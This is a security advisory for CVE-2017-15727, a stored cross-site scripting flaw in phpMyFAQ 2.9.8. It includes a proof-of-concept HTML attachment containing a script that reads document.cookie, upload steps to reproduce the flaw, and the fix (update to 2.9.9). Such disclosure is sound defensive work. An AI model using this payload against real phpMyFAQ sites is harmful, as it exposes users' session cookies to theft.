phpMyFAQ 2.9.8 Stored XSS Vulnerability

2017.10.31

Credit: Nikhil Mittal

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2017-15727

CWE: CWE-79

CVSS Base Score: 3.5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 6.8/10

Exploit range: Remote

Attack complexity: Medium

Authentication: Single time

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: phpMyFAQ 2.9.8 Stored XSS Vulnerability 
# Date: 28-9-2017
# Exploit Author: Nikhil Mittal (Payatu Labs)
# Vendor Homepage: http://www.phpmyfaq.de/
# Software Link: http://download.phpmyfaq.de/phpMyFAQ-2.9.8.zip 
# Version: 2.9.8
# Tested on: MAC OS
# CVE : 2017-15727

1. Description

In phpMyFAQ before 2.9.9, there is Stored Cross-site Scripting (XSS) via an HTML attachment.

2. Proof of concept

Exploit code

    <!DOCTYPE html>
    <html>
    <head>
    <title>XSS EXPLOIT</title>
    </head>
    <body>
    <script>confirm(document.cookie)</script>
    </body>
    </html>



Steps to reproduce:

1. Create a user having limited access rights to attachment section 
2. Goto http://localhost/phpmyfaq/admin/?action=editentry
2. Upload the exploit code with .html extension at the place of attachements
3. Access the file url generated at /phpmyfaq/attachments/<random_path>
4. Reach to last file using directory traversal and XSS will triage 

3. Solution 

Update to phpMyFAQ Version 2.9.9
http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip

See this note in RAW Version

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phpMyFAQ 2.9.8 Stored XSS Vulnerability

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